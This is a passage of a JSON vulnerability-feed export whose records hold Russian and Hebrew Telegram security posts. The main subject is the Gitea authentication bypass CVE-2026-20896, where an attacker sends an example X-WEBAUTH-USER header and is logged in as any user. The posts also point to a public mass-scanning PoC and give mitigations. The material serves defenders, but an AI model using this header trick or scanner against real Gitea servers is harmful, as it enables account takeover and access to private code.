\u043a\u0430\u0436\u0434\u043e\u043c\u0443 IP \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u044e\u0431\u043e\u0439, \u043a\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u0440\u0442\u0443, \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043a\u0430\u043a \u043b\u044e\u0431\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u0442\u043e\u043a\u0435\u043d\u0430.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 REVERSE_PROXY_TRUSTED_PROXIES - 127.0.0.0/8,::1/128, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e localhost, \u0442\u043e \u0435\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u0431\u0440\u0430\u0437\u0435 Docker \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u0434\u0430\u043d \u0441\u0438\u043c\u0432\u043e\u043b \"*\". \u0414\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0435\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 ENABLE_REVERSE_PROXY_AUTHENTICATION = true, \u0447\u0442\u043e\u0431\u044b Gitea \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440, \u0438 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 REVERSE_PROXY_TRUSTED_PROXIES \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u044d\u0442\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u0441 \u043b\u044e\u0431\u043e\u0433\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e IP, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0441\u0442\u0438\u0447\u044c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430.\n\n\u041b\u044e\u0431\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a HTTP-\u043f\u043e\u0440\u0442\u0443 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 Gitea - \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440 - \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0447\u044c\u0435 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0438\u043b\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443\u0433\u0430\u0434\u0430\u043d\u043e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0437\u044b Docker Gitea \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 1.26.2 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 1.26.3, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, \u0433\u0434\u0435 \u0431\u044b\u043b \u0443\u0434\u0430\u043b\u0435\u043d \u0441\u0438\u043c\u0432\u043e\u043b \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \"*\", \u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0442\u0430\u043b\u0430 \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439.\n\nSysdig \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043f\u0435\u0440\u0432\u043e\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0441\u043f\u0443\u0441\u0442\u044f 13 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0435\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f. \u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043e 6200 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445 Gitea.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 ProtonVPN, 159.26.98[.]241, \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0430\u0442\u0430\u043a\u0435. \u041a\u0430\u043a \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u044d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u043d\u0430 \u0440\u0430\u043d\u043d\u0435\u0439 \u0441\u0442\u0430\u0434\u0438\u0438, \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0430\u0442\u0430\u043a\u0430 \u0443\u0441\u043f\u0435\u043b\u0430 \u0440\u0430\u0437\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u0437\u044b.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438 \u043d\u0430\u0447\u0430\u0432\u0448\u0443\u044e\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043a\u0440\u0430\u0439\u043d\u0435 \u0432\u0430\u0436\u043d\u043e \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043e\u043f\u0442\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.", "creation_timestamp": "2026-07-14T00:00:47.212420Z"}, {"uuid": "3f018faa-e17a-4be8-9a0d-e47fbf49a8b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/CyberSecurityIL/85834", "content": "\u05dc\u05d0 \u05d4\u05e1\u05e4\u05e7\u05ea\u05d9 \u05dc\u05e2\u05d3\u05db\u05df \u05d1\u05e9\u05d5\u05d8\u05e3, \u05d0\u05d6 \u05de\u05e8\u05db\u05d6 \u05dc\u05db\u05dd \u05db\u05de\u05d4 \u05e2\u05d3\u05db\u05d5\u05e0\u05d9 \u05e1\u05d9\u05d9\u05d1\u05e8 \u05de\u05e1\u05d1\u05d9\u05d1 \u05dc\u05e2\u05d5\u05dc\u05dd:\n\n- \u05d4\u05e1\u05d5\u05db\u05e0\u05d5\u05ea \u05dc\u05d4\u05d2\u05e0\u05ea \u05e1\u05d9\u05d9\u05d1\u05e8 \u05d5\u05ea\u05e9\u05ea\u05d9\u05d5\u05ea \u05d1\u05d0\u05e8\u05d4\"\u05d1 (CISA), \u05d3\u05d5\u05e8\u05e9\u05ea \u05de\u05e1\u05d5\u05db\u05e0\u05d5\u05ea \u05de\u05de\u05e9\u05dc\u05ea\u05d9\u05d5\u05ea \u05dc\u05e2\u05d3\u05db\u05df \u05d0\u05ea \u05d4\u05de\u05d5\u05e6\u05e8 Cisco Unified Communications Manager \u05d1\u05e9\u05dc \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d4\u05de\u05e0\u05d5\u05e6\u05dc\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc (CVE-2026-20230).\n\n- \u05d7\u05d1\u05e8\u05ea \u05d4\u05ea\u05e7\u05e9\u05d5\u05e8\u05ea \u05d4\u05d9\u05e4\u05e0\u05d9\u05ea KODI \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d3\u05dc\u05e3 \u05de\u05d9\u05d3\u05e2 \u05e9\u05dc \u05db-14.2 \u05de\u05d9\u05dc\u05d9\u05d5\u05df \u05dc\u05e7\u05d5\u05d7\u05d5\u05ea \u05dc\u05d0\u05d7\u05e8 \u05e9\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05d4\u05e9\u05d9\u05d2\u05d5 \u05d2\u05d9\u05e9\u05d4 \u05d7\u05dc\u05e7\u05d9\u05ea \u05dc\u05de\u05e2\u05e8\u05db\u05ea \u05d4\u05d3\u05d5\u05d0\"\u05dc \u05d3\u05e8\u05da \u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1\u05ea\u05d5\u05db\u05e0\u05d4 \u05e6\u05d3 \u05d2'.\n\n- \u05e2\u05d5\u05d3 \u05de\u05d9\u05e4\u05df: \u05d7\u05d1\u05e8\u05ea Nidec Corporation, \u05d4\u05e2\u05d5\u05e1\u05e7\u05ea \u05d1\u05d9\u05d9\u05e6\u05d5\u05e8 \u05d7\u05dc\u05e7\u05d9\u05dd \u05dc\u05e8\u05db\u05d1 \u05d5\u05db\u05d5' , \u05e0\u05e4\u05dc\u05d4 \u05e7\u05e8\u05d1\u05df \u05dc\u05de\u05ea\u05e7\u05e4\u05ea \u05db\u05d5\u05e4\u05e8. \n\u05e7\u05d1\u05d5\u05e6\u05ea Blackfield \u05dc\u05d5\u05e7\u05d7\u05ea \u05d0\u05d7\u05e8\u05d9\u05d5\u05ea \u05d5\u05d3\u05d5\u05e8\u05e9\u05ea \u05d3\u05de\u05d9 \u05db\u05d5\u05e4\u05e8 \u05e9\u05dc 2 \u05de\u05d9\u05dc\u05d9\u05d5\u05df \u05d3\u05d5\u05dc\u05e8 (\u05de\u05d3\u05d5\u05d1\u05e8 \u05d1\u05d7\u05d1\u05e8\u05ea \u05e2\u05e0\u05e7 \u05e2\u05dd \u05d4\u05db\u05e0\u05e1\u05d5\u05ea \u05e9\u05e0\u05ea\u05d9\u05d5\u05ea \u05e9\u05dc \u05db-17 \u05de\u05d9\u05dc\u05d9\u05d0\u05e8\u05d3 \u05d3\u05d5\u05dc\u05e8).. \n\n- \u05d5\u05d0\u05d7\u05e8\u05d5\u05df \u05de\u05d9\u05e4\u05df: \u05d7\u05d1\u05e8\u05ea \u05d4\u05d1\u05d9\u05d8\u05d5\u05d7 Aflac \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d3\u05dc\u05e3 \u05de\u05d9\u05d3\u05e2 \u05e9\u05dc \u05de\u05d9\u05dc\u05d9\u05d5\u05e0\u05d9 \u05dc\u05e7\u05d5\u05d7\u05d5\u05ea \u05dc\u05d0\u05d7\u05e8 \u05e9\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05e4\u05e8\u05e6\u05d5 \u05dc\u05e9\u05dc\u05d5\u05d7\u05d4 \u05e9\u05dc \u05d4\u05d7\u05d1\u05e8\u05d4 \u05d1\u05d9\u05e4\u05df.\n\nhttps://t.me/CyberSecurityIL/9151", "creation_timestamp": "2026-07-14T00:00:47.539442Z"}, {"uuid": "3354f965-0e92-4e6c-862a-6408e221bf5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "exploited", "source": "https://t.me/poxek/6232", "content": "CVE-2026-20896 \u0432 Gitea \u0443\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u0434\u0435\u0440\u0433\u0430\u0442\u044c \u0432\u0436\u0438\u0432\u0443\u044e: \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sysdig, \u043f\u0435\u0440\u0432\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u0435\u0437 13 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f\n\n\u0412 Docker-\u0448\u0430\u0431\u043b\u043e\u043d\u0435 app.ini \u0431\u044b\u043b \u0434\u0435\u0444\u043e\u043b\u0442 REVERSE_PROXY_TRUSTED_PROXIES = *, \u0445\u043e\u0442\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e loopback. \u0415\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d \u0432\u043a\u043b\u044e\u0447\u0438\u043b ENABLE_REVERSE_PROXY_AUTHENTICATION \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u043c reverse proxy \u0438 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c HTTP-\u043f\u043e\u0440\u0442 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e, \u043b\u044e\u0431\u043e\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0441\u043b\u0430\u0442\u044c X-WEBAUTH-USER: poxek \u0438 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 Gitea \u043a\u0430\u043a poxek \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u0442\u043e\u043a\u0435\u043d\u0430.\n\n\u267e\ufe0f\u0418\u043c\u043f\u0430\u043a\u0442\u267e\ufe0f\n\u0418\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u0438\u043b\u0438 \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u043b\u043e\u0433\u0438\u043d \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0435\u0441\u0441\u0438\u044e \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0414\u043b\u044f admin, gitea_admin \u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0445 \u0438\u043c\u0435\u043d \u044d\u0442\u043e \u0443\u0436\u0435 \u043f\u043e\u043b\u043d\u044b\u0439 takeover Gitea \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f: \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, packages, \u0440\u0435\u043b\u0438\u0437\u044b, \u0432\u0435\u0431\u0445\u0443\u043a\u0438 \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e downstream CI/CD. RCE \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0431\u043b\u0435\u043a\u0431\u043e\u043a\u0441 \u0438\u043c\u043f\u0430\u043a\u0442\u043e\u043c \u0441\u0430\u043c\u043e\u0439 CVE; \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u044f\u0432\u043b\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0430\u043b\u043b\u044f\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0439\u0442\u0438 \u0434\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 runner, \u0445\u0443\u043a\u0438, CI-\u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u043b\u0438 deployment-\u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d.\n\n\u267e\ufe0fPoC\u267e\ufe0f\n\u042f \u043d\u0435 \u043d\u0430\u0448\u0451\u043b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 PoC, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0441\u0432\u043e\u0439 \u0438 \u0432\u044b\u043b\u043e\u0436\u0438\u043b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 PoC/\u0447\u0435\u043a\u0435\u0440: szybnev/cve-2026-20896-gitea-poc\n\n\u0412 \u0440\u0435\u043f\u0435 \u0435\u0441\u0442\u044c Go-\u0432\u0435\u0440\u0441\u0438\u044f \u0434\u043b\u044f \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441 --targets, --user-file, --concurrency, --jsonl \u0438 --dry-run, \u043f\u043b\u044e\u0441 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 Bash \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043a \u0431\u0435\u0437 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0427\u0435\u043a\u0435\u0440 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0430\u0440\u0441\u0438\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0438 \u043d\u0435 \u0444\u0430\u0437\u0437\u0438\u0442 usernames, \u0435\u0441\u043b\u0438 \u0432\u0438\u0434\u0438\u0442 Gitea >=1.26.3, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 Powered by Gitea Version: 1.26.4. \u0414\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 1.26.2 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 impersonation \u043f\u043e title dashboard \u0431\u0435\u0437 cookie \u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\u267e\ufe0f\u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u044f\u267e\ufe0f\n\u25aa\ufe0f\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u043e 1.26.3, \u043b\u0443\u0447\u0448\u0435 \u0434\u043e 1.26.4+;\n\u25aa\ufe0f\u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c giea \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e\n\u25aa\ufe0f\u044f\u0432\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c trusted proxies\n\u25aa\ufe0f\u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c reverse-proxy auth \u0431\u0435\u0437 \u043f\u043e\u043d\u044f\u0442\u043d\u043e\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u044b\n\n\ud83d\udd17\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:\nGHSA-f75j-4cw6-rmx4 / Gitea 1.26.3/1.26.4 release notes\nfix PR #38151 / CVE record\nSysdig telemetry via The Hacker News\n\n\ud83c\udf1a @poxek | \ud83c\udf1a @poxek_ai | \ud83d\udcf2 MAX", "creation_timestamp": "2026-07-14T00:00:47.940306Z"}, {"uuid": "47af7097-f131-4cfc-ae25-10ca1ebdaa82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20637", "type": "published-proof-of-concept", "source": "https://t.me/poxek/6188", "content": "zeroxjf \u2014 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u043d\u043e \u043f\u043b\u043e\u0442\u043d\u044b\u0439 \u0431\u043b\u043e\u0433 \u043f\u0440\u043e iOS security research: \u044f\u0434\u0440\u043e, SEP, IOKit, jailbreak/tweak-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u044e\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0438\u043d\u0434\u0435\u043a\u0441 \u0440\u0430\u0431\u043e\u0442: \u0440\u044f\u0434\u043e\u043c \u043b\u0435\u0436\u0430\u0442 PoC \u0434\u043b\u044f Apple kernel/SEP \u0431\u0430\u0433\u043e\u0432, \u0437\u0430\u043c\u0435\u0442\u043a\u0438 \u043f\u043e Cyanide \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 Metal \u0432 vphone. \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043f\u043e\u043b\u0435\u0437\u043d\u044b \u0442\u0435\u043c, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0435 